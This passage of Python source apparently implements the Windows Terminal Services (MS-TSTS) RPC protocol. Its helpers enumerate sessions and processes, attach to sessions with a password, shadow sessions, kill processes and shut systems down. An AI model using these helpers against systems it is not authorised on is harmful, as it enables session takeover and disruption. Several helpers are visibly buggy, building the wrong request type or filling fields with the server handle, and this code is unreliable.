(\n        ('hServer', SERVER_HANDLE),\n        ('PdNameSize', '<L=len(pPdName[\"Data\"])'),\n        ('pPdName', TS_WCHAR),\n        ('LanAdapter', ULONG),\n    )\n\nclass RpcWinStationGetLanAdapterNameResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ppLanAdapter', TS_WCHAR),\n        ('ErrorCode', BOOLEAN),\n    )\n#OLD 3.6.4.1.41 RpcWinStationUpdateUserConfig (Opnum 54)\n'''\nBOOLEAN RpcWinStationUpdateUserConfig(\n [in] SERVER_HANDLE hServer,\n [in] DWORD ClientLogonId,\n [in] DWORD ClientProcessId,\n [in] DWORD UserToken,\n [out] DWORD* pResult\n);\n'''\n#OLD 3.6.4.1.42 RpcWinStationQueryLogonCredentials (Opnum 55)\n# Does not work\nclass RpcWinStationQueryLogonCredentials(NDRCALL):\n    '''\n    BOOLEAN RpcWinStationQueryLogonCredentials(\n        [in] SERVER_HANDLE hServer,\n        [in] ULONG LogonId,\n        [out, size_is(,*pcbCredentials)]\n        PCHAR* ppCredentials,\n        [in, out] ULONG* pcbCredentials\n    );\n    '''\n    opnum = 55\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', ULONG),\n        ('pcbCredentials', ULONG),\n    )\n\nclass RpcWinStationQueryLogonCredentialsResponse(NDRCALL):\n    structure = (\n        ('pResult', UNKNOWNDATA),\n    )\n\n#OLD 3.6.4.1.43 RpcWinStationRegisterConsoleNotification (Opnum 56)\n'''\nBOOLEAN RpcWinStationRegisterConsoleNotification(\n [in] SERVER_HANDLE hServer,\n [out] DWORD* pResult,\n [in] ULONG SessionId,\n [in] ULONG_PTR hWnd,\n [in] DWORD dwFlags,\n [in] DWORD dwMask\n);\n'''\n\n#OLD 3.6.4.1.44 RpcWinStationUnRegisterConsoleNotification (Opnum 57)\n'''\nBOOLEAN RpcWinStationUnRegisterConsoleNotification(\n [in] SERVER_HANDLE hServer,\n [out] DWORD* pResult,\n [in] ULONG SessionId,\n [in] ULONG hWnd\n);\n'''\n\n# 3.7.4.1.27 RpcWinStationUpdateSettings (Opnum 58)\n# Does not work\nclass RpcWinStationUpdateSettings(NDRCALL):\n    '''\n    BOOLEAN RpcWinStationUnRegisterConsoleNotification(\n        [in] SERVER_HANDLE hServer,\n        [out] DWORD* pResult,\n        [in] ULONG SessionId,\n        [in] ULONG hWnd\n    );\n    '''\n    opnum = 58\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('SettingsClass', DWORD),\n        ('SettingsParameters', DWORD),\n    )\n\nclass RpcWinStationUpdateSettingsResponse(NDRCALL):\n    structure = (\n        ('pResult', UNKNOWNDATA),\n    )\n# 3.7.4.1.28 RpcWinStationShadowStop (Opnum 59)\nclass RpcWinStationShadowStop(NDRCALL):\n    opnum = 59\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('LogonId', DWORD),\n        ('bWait', BOOLEAN),\n    )\n\nclass RpcWinStationShadowStopResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n\n# 3.7.4.1.29 RpcWinStationCloseServerEx (Opnum 60)\nclass RpcWinStationCloseServerEx(NDRCALL):\n    opnum = 60\n    structure = (\n        ('hServer', SERVER_HANDLE),\n    )\n\nclass RpcWinStationCloseServerExResponse(NDRCALL):\n    structure = (\n        ('phServer', SERVER_HANDLE),\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n# 3.7.4.1.30 RpcWinStationIsHelpAssistantSession (Opnum 61)\n# Does not work\nclass RpcWinStationIsHelpAssistantSession(NDRCALL):\n    opnum = 61\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('SessionId', ULONG),\n    )\n\nclass RpcWinStationIsHelpAssistantSessionResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n# 3.7.4.1.31 RpcWinStationGetMachinePolicy (Opnum 62)\n'''\nBOOLEAN RpcWinStationGetMachinePolicy(\n [in] SERVER_HANDLE hServer,\n [in, out, size_is(bufferSize)] PBYTE pPolicy,\n [in, range(0, 0x8000 )] ULONG bufferSize\n);\n'''\n# 3.7.4.1.32 RpcWinStationCheckLoopBack (Opnum 65)\n'''\nBOOLEAN RpcWinStationCheckLoopBack(\n [in] SERVER_HANDLE hServer,\n [out] DWORD* pResult,\n [in] DWORD ClientLogonId,\n [in] DWORD TargetLogonId,\n [in, size_is(NameSize)] PWCHAR pTargetServerName,\n [in, range(0, 1024)] DWORD NameSize\n);\n'''\n# 3.7.4.1.33 RpcConnectCallback (Opnum 66)\nclass RpcConnectCallback(NDRCALL):\n    '''\n    BOOLEAN RpcConnectCallback(\n        [in] SERVER_HANDLE hServer,\n        [out] DWORD* pResult,\n        [in] DWORD TimeOut,\n        [in] ULONG AddressType,\n        [in, size_is(AddressSize)] PBYTE pAddress,\n        [in, range(0, 0x1000 )] ULONG AddressSize\n    );\n    '''\n    opnum = 61\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('TimeOut', DWORD),\n        ('AddressType', ULONG),\n        ('pAddress', TS_PBYTE),\n        ('AddressSize', '<L=len(pAddress[\"Data\"])'),\n    )\n\nclass RpcConnectCallbackResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n        ('out', UNKNOWNDATA),\n    )\n#OLD 3.6.4.1.52 RpcRemoteAssistancePrepareSystemRestore (Opnum 69)\n'''\nBOOLEAN RpcRemoteAssistancePrepareSystemRestore(\n [in] SERVER_HANDLE hServer,\n [out] DWORD* pResult\n);\n'''\n# 3.7.4.1.34 RpcWinStationGetAllProcesses_NT6 (Opnum 70)\n'''\nBOOLEAN RpcWinStationGetAllProcesses_NT6(\n [in] SERVER_HANDLE hServer,\n [out] DWORD* pResult,\n [in] ULONG Level,\n [in, out] BOUNDED_ULONG* pNumberOfProcesses,\n [out, size_is(,*pNumberOfProcesses)]\n PTS_ALL_PROCESSES_INFO_NT6* ppTsAllProcessesInfo\n);\n'''\n\n#OLD 3.6.4.1.54 RpcWinStationRegisterNotificationEvent (Opnum 71)\n'''\nBOOLEAN RpcWinStationRegisterNotificationEvent(\n [in] SERVER_HANDLE hServer,\n [out] DWORD* pResult,\n [out] REGISTRATION_HANDLE* pNotificationId,\n [in] ULONG_PTR EventHandle,\n [in] DWORD TargetSessionId,\n [in] DWORD dwMask,\n [in] DWORD dwProcessId\n);\n'''\n#OLD 3.6.4.1.55 RpcWinStationUnRegisterNotificationEvent (Opnum 72)\n'''\nBOOLEAN RpcWinStationUnRegisterNotificationEvent(\n [in] SERVER_HANDLE hServer,\n [out] DWORD* pResult,\n[in, out] REGISTRATION_HANDLE* NotificationId\n);\n'''\n\n#OLD 3.6.4.1.56 RpcWinStationAutoReconnect (Opnum 73)\n'''\nBOOLEAN RpcWinStationAutoReconnect(\n [in] SERVER_HANDLE hServer,\n [out] DWORD* pResult,\n [in] DWORD LogonId,\n [in] DWORD flags\n);\n'''\n#OLD 3.6.4.1.57 RpcWinStationCheckAccess (Opnum 74)\n'''\nBOOLEAN RpcWinStationCheckAccess(\n [in] SERVER_HANDLE hServer,\n [out] DWORD* pResult,\n [in] DWORD ClientLogonId,\n [in] DWORD UserToken,\n [in] ULONG LogonId,\n [in] ULONG AccessMask\n);\n'''\n\n# 3.7.4.1.35 RpcWinStationOpenSessionDirectory (Opnum 75)\n# Does not work\nclass RpcWinStationOpenSessionDirectory(NDRCALL):\n    opnum = 75\n    structure = (\n        ('hServer', SERVER_HANDLE),\n        ('pszServerName', WSTR),\n    )\n\nclass RpcWinStationOpenSessionDirectoryResponse(NDRCALL):\n    structure = (\n        ('pResult', pResult_ENUM),\n        ('ErrorCode', BOOLEAN),\n    )\n\n\n################################################################################\n# Helper Functions\n################################################################################\n\n# 3.3.4.1 TermSrvSession; \\pipe\\LSM_API_service; 484809d6-4239-471b-b5bc-61df8c23ac48\n# 3.3.4.1.1 RpcOpenSession (Opnum 0)\ndef hRpcOpenSession(dce, SessionId):\n    request = RpcOpenSession()\n    request['SessionId'] = SessionId\n    return dce.request(request)['phSession']\n\n# 3.3.4.1.2 RpcCloseSession (Opnum 1)\ndef hRpcCloseSession(dce, phSession):\n    request = RpcCloseSession()\n    request['phSession'] = phSession\n    return dce.request(request)\n\n# 3.3.4.1.3 RpcConnect (Opnum 2)\ndef hRpcConnect(dce, hSession, TargetSessionId, Password = None):\n    if Password is None:\n        Password = ''\n    request = RpcConnect()\n    request['hSession'] = hSession\n    request['TargetSessionId'] = TargetSessionId\n    request['szPassword'] = Password + '\\0'\n    try:\n        return dce.request(request)\n    except DCERPCSessionError as e:\n        if e.error_code == 0x1: # Strange, but this error_code is returned on success\n            resp = RpcConnectResponse()\n            resp['ErrorCode'] = 0\n            return resp\n        raise e\n\n# 3.3.4.1.4 RpcDisconnect (Opnum 3)\ndef hRpcDisconnect(dce, hSession):\n    request = RpcDisconnect()\n    request['hSession'] = hSession\n    return dce.request(request)\n\n# 3.3.4.1.5 RpcLogoff (Opnum 4)\ndef hRpcLogoff(dce, hSession):\n    request = RpcLogoff()\n    request['hSession'] = hSession\n    try:\n        return dce.request(request)\n    except DCERPCSessionError as e:\n        if e.error_code == 0x10000000: # Strange, but this error_code is returned on success\n            resp = RpcLogoffResponse()\n            resp['ErrorCode'] = 0\n            return resp\n        raise e\n        \n    return dce.request(request)\n\n# 3.3.4.1.6 RpcGetUserName (Opnum 5)\ndef hRpcGetUserName(dce, hSession):\n    request = RpcGetUserName()\n    request['hSession'] = hSession\n    return dce.request(request)\n\n# 3.3.4.1.7 RpcGetTerminalName (Opnum 6)\ndef hRpcGetTerminalName(dce, hSession):\n    request = RpcGetTerminalName()\n    request['hSession'] = hSession\n    return dce.request(request)\n\n# 3.3.4.1.8 RpcGetState (Opnum 7)\ndef hRpcGetState(dce, hSession):\n    request = RpcGetState()\n    request['hSession'] = hSession\n    return dce.request(request)\n\n# 3.3.4.1.9 RpcIsSessionDesktopLocked (Opnum 8)\ndef hRpcIsSessionDesktopLocked(dce, hSession):\n    request = RpcIsSessionDesktopLocked()\n    request['hSession'] = hSession\n    return dce.request(request)\n\n# 3.3.4.1.10 RpcShowMessageBox (Opnum 9)\ndef hRpcShowMessageBox(dce, hSession, Title, Message, Style = 0, Timeout = 0, DoNotWait = True):\n    Title = Title if Title is not None else ' '\n    Message = Message if Message is not None else ''\n\n    request = RpcShowMessageBox()\n    request['hSession'] = hSession\n    request['szTitle'] = Title + '\\0'\n    request['szMessage'] = Message + '\\0'\n    request['ulStyle'] = Style\n    request['ulTimeout'] = Timeout\n    request['bDoNotWait'] = DoNotWait\n    return dce.request(request)\n\n# 3.3.4.1.11 RpcGetTimes (Opnum 10)\ndef hRpcGetTimes(dce, hSession):\n    request = RpcGetTimes()\n    request['hSession'] = hSession\n    return dce.request(request)\n\n# 3.3.4.1.12 RpcGetSessionCounters (Opnum 11)\ndef hRpcGetSessionCounters(dce, Entries):\n    request = RpcGetSessionCounters()\n    request['uEntries'] = Entries\n    return dce.request(request)\n\n# 3.3.4.1.13 RpcGetSessionInformation (Opnum 12)\ndef hRpcGetSessionInformation(dce, SessionId):\n    request = RpcGetSessionInformation()\n    request['SessionId'] = SessionId\n    return dce.request(request)\n\n# 3.3.4.1.14 RpcGetLoggedOnCount (Opnum 15)\ndef hRpcGetLoggedOnCount(dce):\n    request = RpcGetLoggedOnCount()\n    return dce.request(request)\n\n# 3.3.4.1.15 RpcGetSessionType (Opnum 16)\ndef hRpcGetSessionType(dce, SessionId):\n    request = RpcGetSessionType()\n    request['SessionId'] = SessionId\n    return dce.request(request)\n\n# 3.3.4.1.16 RpcGetSessionInformationEx (Opnum 17)\ndef hRpcGetSessionInformationEx(dce, SessionId):\n    request = RpcGetSessionInformationEx()\n    request['SessionId'] = SessionId\n    request['Level'] = 1\n    return dce.request(request)\n    '''\n    RpcGetSessionInformationExResponse \n    LSMSessionInfoExPtr:            \n    tag:                             1 \n    LSM_SessionInfo_Level1:         \n        SessionState:                    State_Active \n        SessionFlags:                    WTS_SESSIONSTATE_UNLOCK \n        SessionName:                     'RDP-Tcp#0' \n        DomainName:                      'W11-WKS' \n        UserName:                        'john' \n        ConnectTime:                     datetime.datetime(2022, 5, 9, 2, 34, 48, 700543) \n        DisconnectTime:                  datetime.datetime(2022, 5, 9, 2, 34, 48, 547684) \n        LogonTime:                       datetime.datetime(2022, 5, 9, 2, 23, 31, 119361) \n        LastInputTime:                   datetime.datetime(1601, 1, 1, 2, 20, 54) \n        ProtocolDataSize:                1816 \n        ProtocolData:                    \n    '''\n\n# 3.3.4.2 TermSrvNotification (LSM Notification); \\PIPE\\LSM_API_service; 11899a43-2b68-4a76-92e3-a3d6ad8c26ce\n# 3.3.4.2.1 RpcWaitForSessionState (Opnum 0)\ndef hRpcWaitForSessionState(dce, SessionId, State, Timeout):\n    # State from WINSTATIONSTATECLASS class\n    request = RpcWaitForSessionState()\n    request['SessionId'] = SessionId\n    request['State'] = State\n    request['Timeout'] = Timeout\n    return dce.request(request)\n\n# 3.3.4.2.2 RpcRegisterAsyncNotification (Opnum 1)\ndef hRpcRegisterAsyncNotification(dce, SessionId, Mask):\n    request = RpcRegisterAsyncNotification()\n    request['SessionId'] = SessionId\n    request['Mask'] = Mask\n    return dce.request(request)['phNotify']\n\n# 3.3.4.2.3 RpcWaitAsyncNotification (Opnum 2)\ndef hRpcWaitAsyncNotification(dce, hNotify):\n    request = RpcWaitAsyncNotification()\n    request['hNotify'] = hNotify\n    return dce.request(request)\n\n# 3.3.4.2.4 RpcUnRegisterAsyncNotification (Opnum 3)\ndef hRpcUnRegisterAsyncNotification(dce, hNotify):\n    request = RpcUnRegisterAsyncNotification()\n    request['hNotify'] = hNotify\n    return dce.request(request)\n\n# 3.3.4.3 TermSrvEnumeration; 88143fd0-c28d-4b2b-8fef-8d882f6a9390; \\pipe\\LSM_API_service\n# 3.3.4.3.1 RpcOpenEnum (Opnum 0)\ndef hRpcOpenEnum(dce):\n    request = RpcOpenEnum()\n    return dce.request(request)['phEnum']\n\n# 3.3.4.3.2 RpcCloseEnum (Opnum 1)\ndef hRpcCloseEnum(dce, phEnum):\n    request = RpcCloseEnum()\n    request['phEnum'] = phEnum\n    return dce.request(request)\n\n#NOT_IMPLEMENTED 3.3.4.3.3 RpcFilterByState (Opnum 2)\n\n#NOT_IMPLEMENTED 3.3.4.3.4 RpcFilterByCallersName (Opnum 3)\n\n#NOT_IMPLEMENTED 3.3.4.3.5 RpcEnumAddFilter (Opnum 4)\n\n# 3.3.4.3.6 RpcGetEnumResult (Opnum 5)\ndef hRpcGetEnumResult(dce, hEnum, Level = 1):\n    request = RpcGetEnumResult()\n    request['hEnum'] = hEnum\n    request['Level'] = Level\n    return dce.request(request)\n\n#NOT_IMPLEMENTED 3.3.4.3.7 RpcFilterBySessionType (Opnum 6)\n\n#NOT_IMPLEMENTED 3.3.4.3.8 RpcGetSessionIds (Opnum 8)\n\n# 3.3.4.3.9 RpcGetEnumResultEx (Opnum 9)\ndef hRpcGetEnumResultEx(dce, hEnum, Level = 1):\n    request = RpcGetEnumResultEx()\n    request['hEnum'] = hEnum\n    request['Level'] = Level\n    return dce.request(request)\n\n# 3.3.4.3.10 RpcGetAllSessions (Opnum 10)\ndef hRpcGetAllSessions(dce, Level = 1):\n    request = RpcGetAllSessions()\n    request['pLevel'] = Level\n    return dce.request(request)\n\n#NOT_IMPLEMENTED 3.3.4.3.11 RpcGetAllSessionsEx (Opnum 11)\n\n\n# 3.5.4.1 RCMPublic bde95fdf-eee0-45de-9e12-e5a61cd0d4fe \\pipe\\TermSrv_API_service\n# 3.5.4.1.1 RpcGetClientData (Opnum 0)\ndef hRpcGetClientData(dce, SessionId):\n    request = RpcGetClientData()\n    request['SessionId'] = SessionId\n    try:\n        return dce.request(request)\n    except:\n        return None\n\n# 3.5.4.1.2 RpcGetConfigData (Opnum 1)\ndef hRpcGetConfigData(dce, SessionId):\n    request = RpcGetConfigData()\n    request['SessionId'] = SessionId\n    return dce.request(request)\n\n#NOT_IMPLEMENTED 3.5.4.1.3 RpcGetProtocolStatus (Opnum 2)\n\n# 3.5.4.1.4 RpcGetLastInputTime (Opnum 3)\ndef hRpcGetLastInputTime(dce, SessionId):\n    request = RpcGetLastInputTime()\n    request['SessionId'] = SessionId\n    return dce.request(request)\n\n# 3.5.4.1.5 RpcGetRemoteAddress (Opnum 4)\ndef hRpcGetRemoteAddress(dce, SessionId):\n    request = RpcGetRemoteAddress()\n    request['SessionId'] = SessionId\n    try:\n        return dce.request(request)\n    except:\n        return None\n\n# 3.5.4.1.6 RpcGetAllListeners (Opnum 8)\ndef hRpcGetAllListeners(dce):\n    request = RpcGetAllListeners()\n    request['Level'] = 1\n    return dce.request(request)\n\n#NOT_IMPLEMENTED 3.5.4.1.7 RpcGetSessionProtocolLastInputTime (Opnum 9)\n#NOT_IMPLEMENTED 3.5.4.1.8 RpcGetUserCertificates (Opnum 10)\n#NOT_IMPLEMENTED 3.5.4.1.9 RpcQuerySessionData (Opnum 11)\n\n# 3.5.4.2 RCMListener 497d95a6-2d27-4bf5-9bbd-a6046957133c \\pipe\\TermSrv_API_service or \\pipe\\Ctx_WinStation_API_service\n# 3.5.4.2.1 RpcOpenListener (Opnum 0)\ndef hRpcOpenListener(dce, ListenerName):\n    request = RpcOpenListener()\n    request['szListenerName'] = ListenerName + '\\0'\n    return dce.request(request)['phListener']\n\n# 3.5.4.2.2 RpcCloseListener (Opnum 1)\ndef hRpcCloseListener(dce, phListener):\n    request = RpcCloseListener()\n    request['phListener'] = phListener\n    return dce.request(request)\n    \n# 3.5.4.2.3 RpcStopListener (Opnum 2)\ndef hRpcStopListener(dce, phListener):\n    request = RpcStopListener()\n    request['phListener'] = phListener\n    return dce.request(request)\n\n# 3.5.4.2.4 RpcStartListener (Opnum 3)\ndef hRpcStartListener(dce, phListener):\n    request = RpcStartListener()\n    request['phListener'] = phListener\n    return dce.request(request)\n\n# 3.5.4.2.5 RpcIsListening (Opnum 4)\ndef hRpcIsListening(dce, phListener):\n    request = RpcIsListening()\n    request['phListener'] = phListener\n    return dce.request(request)\n\n\n# 3.7.4.1 LegacyApi 5ca4a760-ebb1-11cf-8611-00a0245420ed \\pipe\\Ctx_WinStation_API_service\n#\n# In legacy api, response error_codes are represented as 1 byte boolean at the end of the response\n# so we have to ignore error checking by rpcrt module, by checkError=False\n#\n# 3.7.4.1.1 RpcWinStationOpenServer (Opnum 0)\ndef hRpcWinStationOpenServer(dce):\n    request = RpcWinStationOpenServer()\n    resp = dce.request(request, checkError=False)\n    if resp['ErrorCode']:\n        return resp['phServer']\n    return None\n\n# 3.7.4.1.2 RpcWinStationCloseServer (Opnum 1)\ndef hRpcWinStationCloseServer(dce, hServer):\n    request = RpcWinStationCloseServer()\n    request['hServer'] = hServer\n    return dce.request(request, checkError=False)\n\n#DOES_NOT_WORK 3.7.4.1.3 RpcIcaServerPing (Opnum 2)\ndef hRpcIcaServerPing(dce, hServer):\n    request = RpcIcaServerPing()\n    request['hServer'] = hServer\n    return dce.request(request, checkError=False)\n\n\n# 3.7.4.1.8 RpcWinStationSendMessage (Opnum 7)\ndef hRpcWinStationSendMessage(dce, hServer, LogonId, Title, Message, DoNotWait = True):\n    request = RpcWinStationSendMessage()\n    request['hServer'] = hServer\n    request['LogonId'] = LogonId\n    request['pTitle'] = ZEROPAD(Title,1024)\n    request['pMessage'] = ZEROPAD(Message,1024)\n    request['DoNotWait'] = DoNotWait\n    return dce.request(request, checkError=False)\n\n# 3.7.4.1.9 RpcLogonIdFromWinStationName (Opnum 8)\ndef hRpcLogonIdFromWinStationName(dce, hServer, WinStationName):\n    request = RpcLogonIdFromWinStationName()\n    request['hServer'] = hServer\n    request['pWinStationName'] = ZEROPAD(WinStationName, WINSTATIONNAME_LENGTH + 1)\n    return dce.request(request, checkError=False)\n\n# 3.7.4.1.10 RpcWinStationNameFromLogonId (Opnum 9)\ndef hRpcWinStationNameFromLogonId(dce, hServer, LoginId):\n    request = RpcWinStationNameFromLogonId()\n    request['hServer'] = hServer\n    request['LoginId'] = LoginId\n    request['pWinStationName'] = ZEROPAD('', WINSTATIONNAME_LENGTH + 1)\n    return dce.request(request, checkError=False)\n\n# 3.7.4.1.11 RpcWinStationConnect (Opnum 10)\ndef hRpcWinStationConnect(dce, hServer, ClientLogonId, ConnectLogonId, TargetLogonId, Password, Wait = False):\n    # Session #1 in disconnected state\n    # You want to attach session #1 to your session and you know\n    # the password of the logged in user in session #1\n    # Your session ID: 3\n    # Parameters:\n    # ClientLogonId = 1\n    # ConnectLogonId = d\n    # TargetLogonId = 3\n    request = RpcWinStationConnect()\n    request['hServer'] = hServer\n    request['ClientLogonId'] = ClientLogonId\n    request['ConnectLogonId'] = ConnectLogonId\n    request['TargetLogonId'] = TargetLogonId\n    request['pPassword'] = Password + '\\0'\n    request['Wait'] = Wait\n    return dce.request(request, checkError=False)\n\n# 3.7.4.1.12 RpcWinStationDisconnect (Opnum 13)\ndef hRpcWinStationDisconnect(dce, hServer, LoginId, bWait = False):\n    request = RpcWinStationDisconnect()\n    request['hServer'] = hServer\n    request['LoginId'] = LoginId\n    request['bWait'] = bWait\n    return dce.request(request, checkError=False)\n\n# 3.7.4.1.13 RpcWinStationReset (Opnum 14)\ndef hRpcWinStationReset(dce, hServer, LogonId, bWait = False):\n    request = RpcWinStationReset()\n    request['hServer'] = hServer\n    request['LogonId'] = LogonId\n    request['bWait'] = bWait\n    return dce.request(request, checkError=False)\n\n# 3.7.4.1.14 RpcWinStationShutdownSystem (Opnum 15)\n# ShutdownFlags == ENUM ShutdownFlags\ndef hRpcWinStationShutdownSystem(dce, hServer, ClientLogonId, ShutdownFlags):\n    request = RpcWinStationShutdownSystem()\n    request['hServer'] = hServer\n    request['ClientLogonId'] = ClientLogonId\n    request['ShutdownFlags'] = ShutdownFlags\n    return dce.request(request, checkError=False)\n\n# 3.7.4.1.15 RpcWinStationWaitSystemEvent (Opnum 16)\n# EventMask == ENUM EventMask\ndef hRpcWinStationWaitSystemEvent(dce, hServer, EventMask):\n    request = RpcWinStationWaitSystemEvent()\n    request['hServer'] = hServer\n    request['EventMask'] = EventMask\n    return dce.request(request, checkError=False)\n\n\n# 3.7.4.1.16 RpcWinStationShadow (Opnum 17)\ndef hRpcWinStationShadow(dce, hServer, LogonId, pTargetServerName, TargetLogonId, HotKeyVk, HotkeyModifiers):\n    request = RpcWinStationShadow()\n    request['hServer'] = hServer\n    request['LogonId'] = LogonId\n    request['pTargetServerName'] = pTargetServerName\n    request['TargetLogonId'] = TargetLogonId\n    request['HotKeyVk'] = HotKeyVk\n    request['HotkeyModifiers'] = HotkeyModifiers\n    return dce.request(request, checkError=False)\n\n#OLD 3.6.4.1.19 RpcWinStationShadowTargetSetup (Opnum 18)\ndef hRpcWinStationShadowTargetSetup(dce, hServer, LogonId):\n    request = RpcWinStationShadowTargetSetup()\n    request['hServer'] = hServer\n    request['LogonId'] = LogonId\n    return dce.request(request, checkError=False)\n\n# 3.7.4.1.17 RpcWinStationBreakPoint (Opnum 29)\ndef hRpcWinStationBreakPoint(dce, hServer, LogonId, KernelFlag):\n    request = RpcWinStationBreakPoint()\n    request['hServer'] = hServer\n    request['LogonId'] = LogonId\n    request['KernelFlag'] = KernelFlag\n    return dce.request(request, checkError=False)\n\n#DOES_NOT_WORK 3.7.4.1.18 RpcWinStationReadRegistry (Opnum 30)\ndef hRpcWinStationReadRegistry(dce, hServer):\n    request = RpcWinStationReadRegistry()\n    request['hServer'] = hServer\n    return dce.request(request, checkError=False)\n\n#DOES_NOT_WORK 3.7.4.1.19 OldRpcWinStationEnumerateProcesses (Opnum 34)\ndef hOldRpcWinStationEnumerateProcesses(dce, hServer, ByteCount):\n    request = OldRpcWinStationEnumerateProcesses()\n    request['hServer'] = hServer\n    request['ByteCount'] = ByteCount\n    return dce.request(request, checkError=False)\n\n#DOES_NOT_WORK 3.7.4.1.20 RpcWinStationEnumerateProcesses (Opnum 36)\ndef hRpcWinStationEnumerateProcesses(dce, hServer, ByteCount):\n    request = RpcWinStationEnumerateProcesses()\n    request['hServer'] = hServer\n    request['ByteCount'] = ByteCount\n    return dce.request(request, checkError=False)\n\n\n# 3.7.4.1.21 RpcWinStationTerminateProcess (Opnum 37)\ndef hRpcWinStationTerminateProcess(dce, hServer, ProcessId, ExitCode = 0):\n    request = RpcWinStationTerminateProcess()\n    request['hServer'] = hServer\n    request['ProcessId'] = ProcessId\n    request['ExitCode'] = ExitCode\n    return dce.request(request, checkError=False)\n\n# 3.7.4.1.22 RpcWinStationGetAllProcesses (Opnum 43)\ndef hRpcWinStationGetAllProcesses(dce, hServer):\n    # i'm giving up constructing legitimate structures for this method\n    # Going to parse raw response:\n    # 1. Skip ndrpointers\n    # 2. Create TS_SYS_PROCESS_INFORMATION structure one by one\n    # Tested and seems to work well on WIN11, WIN10, WIN2012R2, WIN7\n    request = RpcWinStationGetAllProcesses()\n    request['hServer'] = hServer\n    request['Level'] = 0\n    request['pNumberOfProcesses'] = 0x8000\n    resp = dce.request(request, checkError=False)\n    data = resp.getData()\n    bResult = bool(data[-1])\n    if not bResult:\n        raise DCERPCSessionError(error_code=resp['pResult'])\n    data = data[:-1]\n    procs = []\n    if not resp['pNumberOfProcesses']:\n        return procs\n    offset = 0\n    arrayOffset = 0\n    while 1:\n        offset = data.find(b'\\x02\\x00')\n        if offset > 12:\n            break\n        data = data[offset+2:]\n        arrayOffset = arrayOffset + offset + 2\n    procInfo = ''\n    while len(data)>1:\n        if len(data[len(procInfo):]) < 16:\n            break\n        # I think there some alignment problems...\n        # in the structure, second DWORD is thread count, i'm looking for the second DWORD\n        # in order to align the data correctly\n        # There is no proper errors handling!\n        b,c,d,e = struct.unpack('<LLLL',data[len(procInfo):len(procInfo)+16])\n        if b:\n            data = data[len(procInfo)-4:]\n        elif c:\n            data = data[len(procInfo):]\n        elif d:\n            data = data[len(procInfo)+4:]\n        elif e:\n            data = data[len(procInfo)+8:]\n            \n        procInfo = TS_SYS_PROCESS_INFORMATION()\n        procInfo.fromString(data)\n        procs.append(procInfo)\n    return procs\n\n# 3.7.4.1.23 RpcWinStationGetProcessSid (Opnum 44)\ndef hRpcWinStationGetProcessSid(dce, hServer, dwUniqueProcessId, ProcessStartTime):\n    request = RpcWinStationGetProcessSid()\n    request['hServer'] = hServer\n    request['dwUniqueProcessId'] = dwUniqueProcessId\n    request['ProcessStartTime'] = ProcessStartTime\n    request['pProcessUserSid'] = b'\\0' * 28\n    resp = dce.request(request, checkError=False)\n    if resp['pResult'] == pResult_ENUM.ERROR_STATUS_BUFFER_TOO_SMALL:\n        sizeNeeded = resp['pdwSizeNeeded']\n        request['pProcessUserSid'] = b'\\0' * sizeNeeded\n        request['dwSidSize'] = sizeNeeded\n        resp = dce.request(request, checkError=False)\n    if resp['ErrorCode']:\n        return format_sid(resp['pProcessUserSid'])\n\n#NOT_IMPLEMENTED 3.7.4.1.24 RpcWinStationGetTermSrvCountersValue (Opnum 45)\n\n# 3.7.4.1.25 RpcWinStationReInitializeSecurity (Opnum 46)\ndef hRpcWinStationReInitializeSecurity(dce, hServer):\n    request = RpcWinStationReInitializeSecurity()\n    request['hServer'] = hServer\n    return dce.request(request, checkError=False)\n\n#DOES_NOT_WORK 3.7.4.1.26 RpcWinStationGetLanAdapterName (Opnum 53)\ndef hRpcWinStationGetLanAdapterName(dce, hServer, pPdName, LanAdapter):\n    request = RpcWinStationGetLanAdapterName()\n    request['hServer'] = hServer\n    request['pPdName'] = hServer\n    request['LanAdapter'] = hServer\n    return dce.request(request, checkError=False)\n\n#DOES_NOT_WORK 3.7.4.1.27 RpcWinStationUpdateSettings (Opnum 58)\ndef hRpcWinStationUpdateSettings(dce, hServer, SettingsClass, SettingsParameters):\n    request = RpcWinStationUpdateSettings()\n    request['hServer'] = hServer\n    request['SettingsClass'] = hServer\n    request['SettingsParameters'] = hServer\n    return dce.request(request, checkError=False)\n\n\n# 3.7.4.1.28 RpcWinStationShadowStop (Opnum 59)\ndef hRpcWinStationShadowStop(dce, hServer, LogonId, bWait):\n    request = RpcWinStationShadowStop()\n    request['hServer'] = hServer\n    request['LogonId'] = LogonId\n    request['bWait'] = bWait\n    return dce.request(request, checkError=False)\n\n# 3.7.4.1.29 RpcWinStationCloseServerEx (Opnum 60)\ndef hRpcWinStationCloseServerEx(dce, hServer):\n    request = RpcWinStationShadowStop()\n    request['hServer'] = hServer\n    return dce.request(request, checkError=False)\n\n# 3.7.4.1.30 RpcWinStationIsHelpAssistantSession (Opnum 61)\ndef hRpcWinStationIsHelpAssistantSession(dce, hServer, SessionId):\n    request = RpcWinStationShadowStop()\n    request['hServer'] = hServer\n    request['SessionId'] = SessionId\n    return dce.request(request, checkError=False)\n\n#NOT_IMPLEMENTED 3.7.4.1.31 RpcWinStationGetMachinePolicy (Opnum 62)\n\n#NOT_IMPLEMENTED 3.7.4.1.32 RpcWinStationCheckLoopBack (Opnum 65)\n\n#NOT_IMPLEMENTED 3.7.4.1.33 RpcConnectCallback (Opnum 66)\n\n#NOT_IMPLEMENTED 3.7.4.1.34 RpcWinStationGetAllProcesses_NT6 (Opnum 70)\n\n#DOES_NOT_WORK 3.7.4.1.35 RpcWinStationOpenSessionDirectory (Opnum 75)\ndef hRpcWinStationOpenSessionDirectory(dce, hServer, pszServerName):\n    request = RpcWinStationShadowStop()\n    request['hServer'] = hServer\n    request['pszServerName'] = pszServerName\n    return dce.request(request, checkError=False)\n\n# 3.10.4.1.1 RpcShadow2 (Opnum 0)\ndef hRpcShadow2(dce, TargetSessionId, 